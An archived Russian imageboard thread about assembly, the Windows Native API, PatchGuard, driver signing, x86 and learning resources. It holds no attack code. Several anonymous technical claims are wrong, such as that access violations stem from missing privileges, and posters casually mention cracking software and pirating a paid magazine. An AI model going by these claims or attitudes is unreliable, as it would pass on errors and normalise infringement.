Это копия, сохраненная 4 августа 2022 года.
Скачать тред: только с превью, с превью и прикрепленными файлами.
Второй вариант может долго скачиваться. Файлы будут только в живых или недавно утонувших тредах. Подробнее
Если вам полезен архив М.Двача, пожертвуйте на оплату сервера.

ASM — это всё т.н. low-level-программирование — программирование в машинных инструкциях.
Полезные источники: https://conspectuses.blogspot.com/2021/12/blog-post.html
Бонус от анона «…по желанию»: https://pravmissia.ru/fhjeu745t/uploads/2015/11/ivin_isskustvo_ptavilno_mislit.pdf
Предыдущий тред: https://2ch.hk/pr/res/2079195.html#2233672 (


>багтрак уже пару лет как разложился на плесень и липовый мед
Зато наш тред цветёт и пахнет:3
По существу вопроса - не знаю
nvd.nist.gov если именно CVE и exploit-db.com с гитхабом если нужны эксплойты
Продолжаю чтение книги Эндрю Таненбаума "Современные операционные системы" которую мне здесь осенью советовали. Уже добрался до главы про windows, надо же Эндрю Таненбаум говорит что windows vista пиздатая ось была просто производители железа и популярность ноутбуков в то время гавно ей в штаны залили. Честно говоря первый раз такую точку зрения слышу и она мне довольо понравилась, потому что все обычно тупо берут и хуесосят висту в духе "ряяя аптимизация никакущая" хотя таже семёрка потребляет +- столько сколько виста, да, она видимо просто обогнала своё время.
Всмысле своё ядро? У каждой версии ос своё ядро. У висты было NT ядро версии 6.0 вроде. Ну да типа новая версия NT ядра более безопасная, производительная, но т.к. в те годы популярность приобрели ноутбуки маломощные и производительность железа застопорилась в прогрессе её не оценили, а потом выпустили слегка переработанную семёрку но позже и она на ура зашла
хз, я помню что как минимум с точки зрения протектора ядра она сильно отличается от остальных версий
мерси. понял.
Возможно и патчат, но они не так часто появляются, а патчгуард на регулярной основе работает, где-то раз в полчаса активизируется
Понял мерси. А этот патч гард ещё актуален? а то я на вики в основном и прочёл что он в висте был введён в 64битной.
вот в современных 10,11 он есть?
мерси.
Ну типа вызов win32 api createprocess является оболочкой для вызова nt api ntсreateprocess.
Это типа вызов NT API создаёт прцесс через вызов win32api так чтоли?
Не гаранитрую что мои слова верны, но на сколько я знаю win32 api это api для ms dos ну для винды на базе доса 95-98.
У nt есть свой api но майкрософт стараются скрывать его и делать так чтобы люди им не пользовались, а юзали win32api сделано это для того чтобы прилы были совместимы как и с nt ядром так и с виндой построенной на базе msdos
Ну типа win32 api обеспечивает совместимость для приложений с разными версиями винды.
>У nt есть свой api но майкрософт стараются скрывать его и делать так чтобы люди им не пользовались
Всё так. В простонародье известно как Native API. Майки не дают документации, есть только народная: http://undocumented.ntinternals.net
ШиндовсAPI-вызовы в основном внутре просто дёргают Native.

Ядро не может запуститься в среде win32 к сожалению...
А что я не так сказал.
Для программ которые писали для win 95-98 использовать win32 api.
win 95 и 98 это по сути ms doc на которой запускается графическая оболчка. Правильно? Правильно.
Что я не так сказал, поправь меня
Делают фильтр файловой системы то есть привязывают свой маня драйвер к уже существущему драйверу, это горадо проще.
Поясните мне плиз пожалуйста за архитектуру x86. Сколько их штук то?
x86 и x64? Часто про вижу ещё x86_64 так будто это тоже какая-то отдельная архитектура.
Не понимаю как они разделяются(ассемблер ещё не начал изучать, т.к. щас дочитываю книги про ос, но уже заранее интересно)
В гугле забанили?
>Сколько их штук то?
Одна. Так же там имеется некоторое количество расширений. В т.ч. с разной разрядностью адресов, но при этом сохраняется полная обратная совместимость: X86 ⊃ IA-32 ⊃ AMD64=X86-64. Но эти расширения единовременно вместе не доступны (взаимоисключающие) - нужно переключать режимы.
Спасибо. Понял, что просто x86 это одна архитектура с разными расшиерниями. Надо короче книгу по ассемблерам читать
При чём тут вообще 95-98? Вин32 появился вместе с нт версиями винды, его и сейчас используют везде.
>Неужели им выдаются эти цифровые подписи?
Естественно выдаются, а хули нет. И вообще, драйвер может работать и без подписи, но это уже другая история.
Да я уже щас почитал как раз только что статью, извини, обосрался.
А posix и os\2 api современные версии винды поддерживают? Или только win32?

>При чём тут вообще 95-98?
При том что он в них использовался и то что win32 api был представлен вместе с выходом первого nt этого никак не отменяет.

Если в винде то копать надо где-то здесь
К сожалению с введением облачной аутентификации (ключ шифрования клиент, ключ дешифрования сервер) и hash функций, ассемблеры и прочее становится абсолютно бесполезным для взлома. Если бы хотя бы эти hash суммы хранилиь в пределах одного пк можно было бы по прежнему что-то переписать где-то и поломать. А щас усё.
>А posix и os\2 api современные версии винды поддерживают? Или только win32?
https://en.wikipedia.org/wiki/Microsoft_POSIX_subsystem
>При том что он в них использовался
Ну круто, только чел выше говорил не об этом
а Windows subsystem for linux это что такое? Типа подсистема posix в лине?
Не понятно формулировка почему windows подсистема для линукс а не наоборот linux подсистема для шинды
Ну там же прям ссылка на статью есть. Это для совместимости винды с линуховскими эльфами.
Извини, но я не открывал твою статью, т.к. ещё до твоего поста нашёл что posix и os\2 перестали поддерживать. Сорри за неувожение.
Алсо, я охуел с того что в треде всего 10 постеров, 3 из которых это я роутер перезагружал. Не думал что asm тредик настолько непопулярный
Пишешь исходники в текстовом редакторе, как и на любом ЯП.
Затем, запускаешь программу ассемблера на них, она выдаёт объектный файл. Который ты подлинковываешь в бинарник. Всё!
>Не думал что asm тредик настолько непопулярный
Всё потому, что мало его кто знает нынче. А если кто и знает - редко применяют. Очень уж специфичная штука.
>Ну типа вызов win32 api createprocess является оболочкой для вызова nt api ntсreateprocess.
>
>Это типа вызов NT API создаёт прцесс через вызов win32api так чтоли?
Обьясняю.
Win32 API который есть на MSDN, это API которые доступны для программистов, их ты должен и можешь использовать в своем коде.
NT API, это API, которые официально не документированы, т.е. скрыты от глаз обычных прогроммистов, естественно что Microsoft не рекомендует использовать эти API, потому что не может гарантировать что они не изменятся в будущем, или вообще убрать их.
Но так как за годы существования винды написаны тонны говно-кода, использующие все возможные и невозможные низкоуровненые трюки, то ничего не меняется. Microsoft-у нужно поддерживать совместимость, потому что дохуща всяких игрулек защищено говно-защитами типа Starforce, Denuvo и им подобным. Естественно что там используются такие низкоуровневые вещи, о существовании которых и в самом Microsoft знают, может с десяток человек.
А так ты всё правильно сказал WinApi CreateProcess это просто обертка под более низкоуровневые функции, имплементация которых официально скрыта от обычных программистов.
Мерси. Очень разврнутый ответ, моё увожение, анон
>Для того чтобы драйвер работал в винде он должен быть подписаным специальным центром сертфицикации от микрософт. Хорошо ладно. А как тогда разработчики антивирусов живут? Ведь антивирь которые не работает в системе через собственные драйверы не антивирь. Вот доктор веб ладно, они вроде чисты, а как подзалупный каспеерский работает? Неужели им выдаются эти цифровые подписи?
Подзалупность Касперского никто официально не доказал. Всё на уровне слухов.
Для Microsoft Касперский это просто отдельная security-шарага, коих на сегодняшний момент сотни по всему миру. Не вижу проблем в выдаче им такого сертификата. Кстати он называется
Тем более что никаких санкций на Касперском нет, в отличие от других российских компаний.
Кстати не понятно про какой именно сертификат говоришь?
Extended Validation (EV) Code Signing Certificates - так называется сертификат для подписи драйверов
WHQL - так называется расширенное тестирование, когда твой говнодрайвер тестируют во множествах конфигураций, чтобы понять что он не глючный
Early Launch Antimalware (ELAM) - фича драйверов появившаяся в Windows 8, которая позволяет драйверу стартовать раньше других, чтобы иметь возможность быть неубиваемым. Чтобы получить возможность подписать такой драйвер, нужно иметь сертификаты от разных незавимисых тестеров антивирусных компаний что твой АВ это не фейк-АВ.
Спасибо ещё за такое подробное объяснение, оставайтесь в тредике и дальше, хорошо что здесь можно вопросы такие задавать и люди развёрнуто отвечают
>Кстати не понятно про какой именно сертификат говоришь?
Я просто книге Э. Танненбаума щас про устройство современных ос читаю и там в разделе про винду он просто упоминул что драйвера подписываются, а что их несколько этих видов я там такого не видел. Спасибо, что расписал.
>патчгуард
>>253601
>Погоди, а разве обновления шинды не патчат ядро?
Путаете теплое с мягким.
Патчгуард это технология для защиты от изменений в коде/данных работающего ядра в памяти. Т.е. когда комп включен, винда не позволяет изменять код ядра другими словами "патчить его". Дело в том что раньше было дохуища руткитов, которые статровали вместе с Windows, патчили ядро и становились невидимыми для практически всего. Еще таким же баловались всякий security-софт, в том числе вышеупомянутая защита для игрулек.
В какой-то момент Microsoft сказала что патчи ядра запрещены, все кто патчит это говно-софт, которому даже сертификатов для подписи выдавать не будем. А если патч будет задетекчен с помощью технологии Patchguard, то тупо показывается синий экран смерти, чтобы неповадно было.
Кстати в iOS/OSX есть подобные технологии, которые называются KPP (Kernel Patch Protection) и KTTR (Kernel Text Readonly Region)
Так вот, когда ты скачиваешь обновления для своей ОС. Это обновления - "патч", ничего в памяти не патчит и никакой код там не изменяет. Обновление ОС тупо меняет бинарные файлики ядра на диске на более новые. Именно поэтому после обновления ядра тебе нужно перезагрузить комп, чтобы новое ядро загрузилось в память.
Обновление ОС c Patchguard не имееет ничего общего.
Кстати Patchguard обходится одним очень простым трюком.
Ещё раз спасибо, анон. Продолжай, если ещё в треде будешь видить какие-то вопросы или что кто-то неправильноп пишет поправляй и максимум развёрнуто, очень просто и информативно тебя читать
Теперь ясно, патчгард защищает от измнений ядра во время работа, а обновления шинды патчат исходники ядра и изменения становятся видны только после перезагрузки оси, то есть выгрузки и загрузки вновь её в память.
А чтоб пошагово выполнять? Вот для микроконтроллеров есть microchip studio, очень удобно.
Для обучения.
нет конечно, было бы очень тупо для обмена данными на одном и том же компе использовать сеть в принципе
Пошагово выполнять на компьютере? В смысле, x86?
Ну есть различные отладчики. Как правило, в обыкновенных ситуациях, ими можно пошагово выполнять инструкции процессора. В отладчике можно наблюдать содержимое регистров, памяти.
Но есть сложные, особые ситуации. Например, когда пишешь ассемблерный код, который только при загрузке операционки будет работать. Или при обработке прерываний. Тут уже всё куда сложнее. Кажется, есть такой SoftICE отладчик. Очень крутой. А так, вообще без отладчика, тупо пишешь крайне внимательно ассемблерный код, и в сложных условиях его запускаешь и смотришь - как оно работает.
Можно сделать некий отладочный вывод. А вообще, можно ещё предварительно в мягких лабораторных условиях погонять и поотлаживать урезанный код, который бы делал почти то же самое, что и боевой. Ну а после, когда он будет готов, испытать боевой код в естественной среде.
Не забывай - кажется инструкция int 3 (или int 5) генерирует отладочное прерывание в windows. Т.е. можно ассемблерную программу написать, запустить под отладчиком, подождать пока сработает эта инструкция, и там уже отлаживать.
А что такое порты тогда? Какой части ос они принадлежат? Это чатсть какого-то сетевого интерефейс к которому может программа обращаться для получения данных извне?
У меня с сетями вообще беда прям, никогда их не любил.
> Нaпримeр, кoгдa пишeшь aссeмблeрный кoд, кoтoрый тoлькo при зaгрузкe oпeрaциoнки будeт рaбoтaть. Или при oбрaбoткe прeрывaний
Тaк eгo мoжнo в виртуaлкe гoнять и тoжe oтлaдчик юзaть
Порт - это целое число, которое позволяет ОС различать между собой различные серверы, запущенные на ней.
А чо, нынче есть виртуалки, куда отладчик можно подключить?
То, что есть виртуалки - я знаю. Там действительно часто гоняют написанный код.
Спасибо, я нихуя не понял, единственное что я понял что нужно будет ещё книжечку Танненбаума по компьютерным сетям навернуть, чтобы хоть поверхностное прдеставление иметь, иначе никак.
Всё правильно понял.
>А что такое порты тогда?
Число, или параметр, если удобно. Параметр сетевых запросов, который даёт понять, какая программа делала запрос (например), чтобы дать ей ответ. Это грубо говоря, просто чтоб ты понял примерно.
>У меня с сетями вообще беда прям, никогда их не любил.
Ну тогда читай что-нибудь по ним, я вот возможно скоро таненбаума буду читать.
Спасибо большое, ты понятнее объяснил.
>я вот возможно скоро таненбаума буду читать.
Same, нравится как он пишет. Да без сетей никуда, хотя компьютерные сети, роутеры, коммутаторы это то что меня интересует меньше всего, но без этого видимо никак, нужно хотя бы примерно понимать что это такое
Ассемблеры, С\С++, драйвера, всякий ввод\вывод, ядра осей, файловые системы, антивирусное по(которое в ядре ос работает, а не всякое почтовое, сетевое) как озу работает, эти страницы с виртуальной-физической память, как ресурсы процессору выделяют, как потоки ебашутся в процессоре, но только не сетевая хуйня с этими вланами, роутерами, адресами, dhcp, ip4, ip6 и т.д. Такое дрочево унылое. Хуже этих сетей только веб разработка вот это вообще невыносимое для меня дрочево, настолько что я даже когда про вёрстку в браузере сел читать меня чуть не вывернуло.
Но впринципе если сети нужны для лучше понимания осей(а это ведь их часть, всё таки этот стек tcp\ip часть всех соверменных осей. Надо хотя бы поверхностно знать, надо.
То что си заточен под низкооровневое взаимодействие с памятью, а без дма на си написать его невозможно. потому что нужно напрямую процессору давать команды на ввод вывод, указываеть регистры и т.д.
>без дма на си написать его невозможно
Почему?
>нужно напрямую процессору давать команды на ввод вывод, указываеть регистры и т.д.
Ничего не понял.
Потому что ДМА контроллер обеспечивает взаимодействие между устройство через озу.
А без него нужно напярую от процессора вводы выводы давать и указывать регистры где хранить информацию от устройства.
>ДМА контроллер обеспечивает взаимодействие между устройство через озу
>низкооровневое взаимодействие с памятью, а без дма на си написать его невозможно
>драйвера устройств на си пишутся
Что-то не могу я связать эти три пункта.
Насколько я понимаю DMA здесь ни при чём. Си для написания драйверов используют лишь потому, что это - ЯВУ со всеми причитающимися удобствами/свистоперделками.
Ну я не разбираюсь, я только вчера об этом узнал и у меня очень узкие знания. Мне ещё предстоит это всё узнать.
Аноны, а существует ли книга по ассемблерам уровня Стивена Праты для Си? Чтобы толстенная и полезная была.
Опыт подсказывает что важно не язык выдрачивать, а выдрачивать устройства и api тех программ\устройств\ос для которых ты пишешь, а язык это чисто 5%
Да просто не понятно как это все применять. Хотелось бы на примеры посмотреть или курс лекций почитать, чтобы весь пазл сложился в голове.
Ну от того что ты язык подробно выдрочишь до мельчайших деталей ты кроме того что будешь отлично знать синтаксис языка и его библиотеки стандартные ничего более не сможешь.
Язык надо учить но читать книги в неск. домой на мой взгляд неразумно. лучше язык выучить что примерно понимать что там есть и что оно означает а далее делать упор на разработку драйверв\состав осей и т.д. Системной программирование это очень обширная тема, это тебе не в вебе на 5 этажных фремворках гавно клепать или в редакторе игровго движка модельки 3д мышкой тоскать это настоящее программирование, классическое куда хуй вкатишься и нужно реально быть задротом отмороженным.
Просто читай читай и со временем информация накопится до критической точки.
Я сам уже прочитал Д. Ритчи Язык С, Бьёрн Страуструп основны ООП на примере С++, архитектура пк(как процессоры делают), щас вот дочитай Э. Таннебаума где он своременные операционные системы описывает, потом ассемблеры буду читать, потом как компляторы\отладчики планирую, потом наверное буду более деатльно в структурах ОС Windows разбираться, буду русиновича читать, обязательно книжечку по сетям от Э. Танненбаума, надо бы ещё почитать как материнские платы устроены там...
Да короче читать, читать читать рано или поздно информация начнёт складываться. Ну и здесь фактор что я кайф неподдельный испытываю от этого, мне вот нравится эта низукорвневая тема, мне не важно есть работа, не работа, я просто позитивные эмоции получаю от этого и другого мне не надо.
Я не в рамках треда говорю, а в целом об области системного программирования. ассемблер лишь часть.
Спасибо за ответ. Я в целом, уже работаю макакой на Сях, но хочется прокачаться в лоу-левел теме. Ломать и реверсить бинарники, паковать демки в 64кб и прочие крутые штуки.
>Ну и здесь фактор что я кайф неподдельный испытываю от этого, мне вот нравится эта низукорвневая тема, мне не важно есть работа, не работа, я просто позитивные эмоции получаю от этого и другого мне не надо.
Сейм.
Это не так сложно как кажется. Сейчас хочу научиться хорошо писать на плюсах, выучить теорию типов и компиляторов, и попытаться попасть в МЦСТ. Уж больно хочется с нашими процессорами поработать. Там как раз пару вакансий на сайте висит, одна из которых - разработчик компилятора.
Ну тебя прям на самый низкий уровень тянет, мне больше интересны драйвера устройств, антивирусы и архитектура винды\линукс, что-то новое разрабатывать не охота.
Желаю удачи, анон.
>Желаю удачи, анон.
Взаимно.
>драйвера устройств, антивирусы и архитектура винды\линукс, что-то новое разрабатывать не охота.
С таким подходом не планировал в Касперский вкатиться? А потом, мб куда-нибудь и получше попадешь.
Не, даже не думаю. Я вообще дома сижу на материной шеи и не работаю, думаю туда и без меня хватит людей после вузка с дипломами + у них там математика всякая и алгоритмы, у доморощенных людей шансов нет, мне кажется
У тебя небось вышечка есть профильная?
>У тебя небось вышечка есть профильная?
Как ты узнал?
>Не, даже не думаю. Я вообще дома сижу на материной шеи и не работаю
А какие планы на дальнейшую жизнь вообще, помимо РНН офк?
Просто если тебе действительно интересна эта область и у тебя получается ее понимать, то есть немало шансов, что ты сделаешь что-то годное или найдешь работу. Ибо диплом кроме бумаги для работодателя нихрена не дает.
>как ты узнал?
На си анриал почти без вышки вкатиться почти все вакансии вышку требуют
>какие планы
Да не знаю, смысла даже загадывать нет всё равно жизнь не идёт как хочется человеку просто тупо делаю что нравится и голову не забиваю.
>Да не знаю, смысла даже загадывать нет всё равно жизнь не идёт как хочется человеку просто тупо делаю что нравится и голову не забиваю.
Может быть у тебя какие-то свои идеи для проектов есть? Йоба-софт написать или редкую японскую инди игру крякнуть?
Анон, не надо. Я сам со своей позиции вижу куда мне идти, за заботу спасибо, но мне нормально и всё устраивает к тому же я ещё только учусь. Закрыли короче эту тему сидим дальше в тредике и обсасываем ньюфажные вопросы
ПОМОГИТ ПОМОГИТЕ!!
иногда вылетают хром и мозилла, после запуска потом вылетают снова до перезагрузки
винда с нормального образа
оперативка тесты проходит
что делать?
еще вылеты были когда играл в некоторые игори
в хроме пшет STATUS_ACCES_VIOLATION, что указывает на косяки с памятью
но я не знаю как точно посмотреть на какой части кода исполнение сломалось и что делать дальше
Если я подключу отладчик и дождусь вылета, я окажусь на месте последней рабочей инструкции?
Да без отладчика не выяснить. Хотя я бы первым делом попробовал бы тупо озу на ошибки проверить, може решилось бы.
А так да отладчиком вообще что угодно может быть абсолютно что угодно, нужно смотреть чё там внутри.
память проверял два раза, норм
проверял мемтестом
где почитать что делать с minidump, который создается при синем экране?
Попробуй хром в режиме от админа позапускать ещё, статус аксцев валейшн обычно от недостатка прав идёт, ну к каким-то ресурсам отказано в доступе.
> статус аксцев валейшн обычно от недостатка прав идёт
Пиздец блядь, с какими доделями я на одной борде сижу.
Нахуй надо
При дма обмен идет через память, а без дма нужно на ассемблере с регистров данные от устрайства считывать. Нет дма и на си ты драйвер не напишешь
>>268524
Для обмена информацией между устройствами используются порты ввода этих самых устройств.
Ну допустим процессор для обмена информацией с жёстким диском имеет 8 регистров куда поступает инфа, различные флаги и состояния от жд. Для того чтобы взаимодействовать с этими портами нужно в драйвер ассемблерный код вставлять указывающий регистры куда что посылать и откуда что принимать.
А DMA минует процессор и отображает эти порты ввода вывода в физическую память. Поэтому при технологии dma можно напистаь драйвер целиком на си, т.к. порты ввода вывода находятся в памяти а в си есть средства для низкоуровневого взаимодействия с памятью, а вот средств для обращению к региструю процика нет. Надеюсь пояснил
>Для того чтобы взаимодействовать с этими портами нужно в драйвер ассемблерный код вставлять
не в драйвер в смысле а в его исходнрик, можно и в си вставить ассемблеры. я проебался. ну короче суть вы должны понять
Есть ли смысл изучать x86? Или тупо сразу на x64 пиздовать?
>Есть ли смысл изучать x86
Ну давай, попробуй начать с нуля с x64 ассемблера. А мы за тобой понаблюдаем.
Спасибо, понял. Не будем.
А ты чем заняться хочешь? RE?
Ну тогда наверно не стоит ждать когда ты догрызешь какой нибудь Art of Assembly with Linux а побыстрее переходить к практике.
Кстати вот эта серия статей кажется чем то годным https://xakep.ru/issues/xb/002/, думаю может купить да слить в общую раздачу https://rutracker.org/forum/viewtopic.php?t=3304959
А так ну берешь Ghidra, IDA Pro, Crackmes и вперед.
>думаю может купить да слить в общую раздачу
Ну народ, скажите что думаете.
Вообще лично меня радует что ксакел еще жив и в журналах до сих пор много интересного пишут. А в этой серии статей еще есть статья от Криса Касперски (RIP) которая у них не выходила, но писал он.
Я не знаю даже что такое RE. Просто ньюфаня хочу в ассемблер вкатиться.
>серия статей
Ой не, спасибо, я по книгам привык всё изучать там всегда полная и разврнутая базовая информация.
>Я как раз архивы этого журнала начал перечитывать
Так все номера на рутракере есть ссылка выше
А ну это норм, да. Я бы в будущем хотел уметь такое исполнять. Но сейчас у меня более ограниченные цели: освоить ассемблер, прочитать про устройство компиляторов на примере каокго-нибудь с\с++ и конечно же дебагерами научиться пользоваться.
Так далеко не загадываю.
>прочитать про устройство компиляторов на примере каокго-нибудь с\с++
https://www.amazon.com/Writing-Interpreter-Go-Thorsten-Ball/dp/3982016118
https://www.amazon.com/Writing-Compiler-Go-Thorsten-Ball/dp/398201610X
https://www.amazon.com/Crafting-Interpreters-Robert-Nystrom/dp/0990582930
И такого сейчас навалом. Даже не GitHub была большая серия статей ну там целый репозиторий, считай книга по созданию простого компилятора.
Ибо Книга Дракона это академический хардкор, для самоучки особенно. Аминь.
x86 уже не пугает ... почти.
Смотрел сегодня выступление cppcon 2017: https://www.youtube.com/watch?v=bSkpMdDe4g4
И нифига не могу врубиться что происходит на 35:29 (первый пик), а именно:
eax:edx = x * 0xaaaaaaab
вот что означает это двоеточие? что тут происходит? буду рад если кто пояснит
И вот еще тоже на 24:32 (пик 2): зачем shr rax, 2? нафига компилятор тут делит на 4?
Мерс, анон, сохранил. Спасибо огромное
Благодарю.
>вот что означает это двоеточие
результат помещается в пару регистров
>зачем shr rax, 2? нафига компилятор тут делит на 4?
чтобы установить зф
>результат помещается в пару регистров
Точно? Я тут просто кое как нагуглил что таким образом обозначается адрес и оффсет (внутри этого адреса, если я правильно понял)
Это было в те древние времена, когда имела место быть сегментная модель памяти.
так есть, но конкретно здесь имеется ввиду два регистра, потому что умножили на 32-битный регистр. Это всё есть в мане https://www.intel.com/content/www/us/en/developer/articles/technical/intel-sdm.html
Ну а почему тогда просто не поместить результат в RAX какой нибудь вместо двух 32-bit'ных регистров? Или это уже просто логика компилятора и не надо гадать зачем он именно так сделал?
За ссылку на мануал спасибо, но я не понял в какую именно pdf'ку мне смотреть. Простите за невежество.
Теперь про ассемблеры читать начну с классической x86 и затем перейду к x86_64
Посоветуйте, пожалуйста, книгку по ассемблеру x86 желательно для ньюфань(ну я с\с++ хорошо знаю, но в ассемблерах вообще особо не ебу) чтобы там все подробности разжевали, а не тупо сразу синтаксис подали. Спасибо.
Книга Танненбаума мне понравилась, очень подробная годная
Да мне эту книгу про ос здесь анон один советовал, спасибо ему ещё раз. Надеюсь он ещё сидит здесь
Ищу, непонятное что-то в инете пишут, конкретно регистр данных какую разрядность имеет?
регистров общего назначения это и есть регистр данных? тогда тут 80 бит, и как это понимать
А что там не понятного? Там же написано что в одном регистре 80 разрядов. 1 байт = 8 разрядов. Следовательно 80 делим на 8 и получает 10 байт. Правильный ответ 10 байт в одном регистре.
С определениями я бы не заморачивался у одной только архитектуры x64 сколько названий только нет и путаницы дохуя, тыкай что 10 байт вот и всё, я думаю он пройдёт как правильный.
да бывает. просот в голове держи всегда 1 байт = 8 бит.
если хочешь перевести байты в биты то умножай на 8 а если наоборот биты в байт то дели на 8.
Очевидно, что было бы сложно передавать параметры явно, но в многих ситуациях это было бы архиудобно, разве нет?
нахуй ты из шапки всю литературу повыкидывал?
понял. спасибо
> книгку по ассемблеру x86
Assembly Language Step-By-Step by Jeff Duntemann
Modern X86 Assembly Language Programming: Covers X86 64-bit, AVX, AVX2, and AVX-512 by Daniel Kusswurm
> Только что дочитал книгу Эндрю Танненбаума про операционные системы
А Танненбаум значит для нюфань? По ОС есть гораздо более годная книга. Ну например вот: https://www.amazon.com/Operating-Systems-Three-Easy-Pieces/dp/198508659X
Как кто-то сказал. Классика это то что все советуют но никто никогда не читал.
>>273648
А вообще читать все эти книги по ОС и Сетям впрок, с непонятными целями смысла нет. Все повыветривается. Хотя может быть у тебя феноменальная память.
>>273266
>ну я с\с++ хорошо знаю
Уверен?
Learn C the Hard Way если что, годная. Не для нюфань (хотя цели у нее вроде такие) а так, чтобы вспомнить все
>А Танненбаум значит для нюфань? По ОС есть гораздо более годная книга. Ну например вот
Спасибо, анон. А есть годные замены Таненбаума по архитектуре компьютера и сетям для ньюфань?
Блин, нет, нечего сходу посоветовать. Я такую литературу читаю когда надо понять как работает вот конкретная какая то штука. Обычно это какая то конкретная отдельная глава.
Но чтобы весь том, взять и просто прочитать, непонятно зачем так изъебываться. Для галочки только если.
>Я такую литературу читаю когда надо понять как работает вот конкретная какая то штука. Обычно это какая то конкретная отдельная глава.
А мне тут сказали, что перед тем, как приступать к С++, нужно сначала знатно почитать про ОС, сети и архитектуру компьютера, и посоветовали Таненбаума. А тут смотрю, что знающие люди этого не читали, и спокойно практикуют. Я тут подумал - может, сразу пойти в синтаксис и производные, а вся CS-теория приложится по ходу?

1272x776, 0:14
> Я такую литературу читаю когда надо понять как работает вот конкретная какая то штука
Более того, никто техническую литературу от корки до корки никогда не читает. Это тебе не Нейромант какой нибудь.
Ну прочитал ты за 2 месяца книгу которая рассчитана на год в универе. Ну красавчик. А понял хоть что нибудь? Ну, в голове что нибудь отложилось?
> А мне тут сказали, что перед тем, как приступать к С++, нужно сначала знатно почитать про ОС, сети и архитектуру компьютера
Здесь на дваче посоветовали? Или на ответах мейл ру и прочих хабрах?
Те кто это советуют, сами на эти книги убили очень много времени и пользовались когда надо было. Раньше, я тебе напомню, вообще советовали программирование начинать изучать с Кнута и на ассемблере.
На reddit'ах, quora'х и на всяких медиумах да даже в блогах крутых датасайентистов с PhD
, нигде никогда подобных советов не видел. Короче что я хочу сказать ... Продвинутые европейцы и загнивающая америка практикуют нисходящий подход к обучению. Анализируй это.
Бля, на английском языке ежегодно выходит огромное количество классных книг по самым разным темам. Которые никогда на русский переведены не будут. Потому и Танненбаум, потому что английский у этих людей ну максимум A2 :D

Смысл в том, что в проге при нажатии F8 выполняется оконная процедура перепечатывания символов из txt-файла. Но так как эта процедура внутри этой проги, то и перепечатывать она будет пытаться в прогу. Но, если сделать окно проги поверх всех окон, потом сделать активным окно куда надо перепечатывать, а потом с зажатой F8 просто мышкой переместить фокус на окно проги, то всё работает.
Ну хрен его знает, я бы не сказал, что Танненбаум это что-то сложное.
Это просто книги-введение в которых описывается много, но не очень глубоко, но в то же время достаточно, чтобы получить общее продставление о работе сетей, ОС, ЭВМ.
Алсо, нужно совмещать теорию и практику. Тебе ничего не мешает читать и писать код одновременно. Такие языки как Асм, Си - это простые языки, там учить практически нечего, но чтобы что-то написать на них, необходимо разбираться в предметной области, поэтому нужно и читать книги и получать практический опыт одновременно.
Да дело не в сложности а в бесполезности.
Есть более ориентированные на практику книги на эту тему. При этом в которых объясняется все тоже самое. От компьютер сайентистов, а не от профессора получившего степень по физике в 1970х. Или даже 60х.
Просто Таненбаум овер разрекламирован у нас. Как раз за счёт того что это чуть ли не единственная книга по фундаментальным вещам, переведенная на русский.
А вообще Таненбаум получил такую широкую известность особенно после публичного срача с Торвальдсом. Когда он вдруг решил что Торвальдс делает всё не правильно и давай его поучать.
Что до предметной области, лично меня интересует reverse. Кто вообще сейчас пишет на асме, я тебя умоляю.
Ты кстати случайно не писал ничего на основе этих книг? Интересно даже.
А где связь между писать что то большое на асме и читать его, в переешку с автокоментами и декомпайлеров в ida или гидре.
WinRar так по приколу когда начинал поломал.
C необходим не менее
Связь есть, только я не знаю как правильно объяснить - в инструменте написанном на асме можно вставить пометку в виде какой-нибудь ненужной команды, типа ret. Потом в отладчике ставить там брейкпоинт и уже руками поправлять данные, если что-то пошло не так.
Как бы можно даже до конца не дописывать этот инструмент.
>Но, если сделать окно проги поверх всех окон, потом сделать активным окно куда надо перепечатывать, а потом с зажатой F8 просто мышкой переместить фокус на окно проги, то всё работает.
Почему так нахуй? Активное окно же поменялось и перехват всех событий должен идти туда соответственно(ну кроме всяких контрл альт плюс делит)
У меня только с моим уровнем знаний есть догадка что типа допустим есть процессор с регистрами на 32 бита и тут идёт код от программы 16 битов и он рассчитан на 16 битные регистры и получает что типа инфа которая предназначена длял двух разных регистров на 16 бит записывается как инфа для одного регистра на 32 бита и в этом типа проблема и программ предстаёт некорректно. Это верно?
да это я знаю, я не говорю о возможности переключения режимо я имею в виду конкретно почему 16 битная программа не может выполняться на голой 32 архитектуре без режима совместимости? я правильно понимаю что потому что потому что программа на 16 бит рассчитана на регистры 16 бит а не на 32?
ну типа программа на 16 бит на 16 битном процессоре записывала 2 регистра по 16 бит. а на 32 битном без режима совместимости она значения из двух разных регистров пишет в 1 32 битный регистр и поэтому программа становится некорректной для проца типа?

>именно перепечатывает то есть подаёт как события от нажатых клавиш с клавы
Да.
>>274556
Хз. Баг?
Там просто наводишь курсор, если в это время не нажата F8, то выход из процедуры. Получается что активное окно остаётся в блокноте, а прога считывает F8 и начинает печатать в активное окно - блокнот.
Ибо нехуй сtrl+v убирать
Спасибо, анон. Только я не понял - как думаешь, нормально будет сразу начать ковырять плюсы, и в процессе или даже после читать теорию, или твоя мысль в том, что все равно лучше изучить основы перед языком, но по более практичным книгам, в т. ч. на ангельском?
Нахуй ты его слушаешь. Он хуйню городит, ты читать должен книги и у тебя в голове будет откладываться многое, даже если практики не будет это я по себе знаю. Потому что в книгах тупо показывают различные решения и способы фичи которые у тебя в голове откладывают типа "ага можно вот так сделать" и когда на пратике ты с чем-то сталкиваешься у тебя уже подсознательно в голове много вариантов всплывает что и как гуглить.
Я на одной работе был там такой же чел был который говорил что читать ни нужно а только делать это по мере необходимости, ну и он короче был нелпохим спецом т.к. на практике многим занимался, но у него были такие элементарнейшие проёбы уровня когда нужно было множество однотипчных команд уровня "create file 001 create file 002 ... create file 090" сделать он их брал блядь вставлялт в текстовый редактор, копировал там потом как-то менял там цифорки и копировал этот огромный текст назад в консоль. вместо тупо цикла с переменной.
и чел ещё баш кстати знал.
Вот и всё, а если бы он не ленился и тупо бы книжку хоть раз глазами пробежал хоть одну по программированию он бы такой бред не лепил.
Так что если чувствуешь что хочешь читать то читай и хуй забей, ты когда читаешь у тебя конечно идеально в голове ничего не останется без практики, но основы будут и база, читай про всё: компляторы, ассемблеры, архитектуру и похуй что никогда практики не будет для общего понимания хорошо крайне хорошо знать в общих чертах как всё устроено.
Знаешь в общих чертах == когда на практике что-то нужно будет сделать у тебя в голове много вариантов потенциальных будет и ты в разных направлениях копать будешь
>элементарнейшие проёбы уровня когда нужно было множество однотипчных команд уровня "create file 001 create file 002
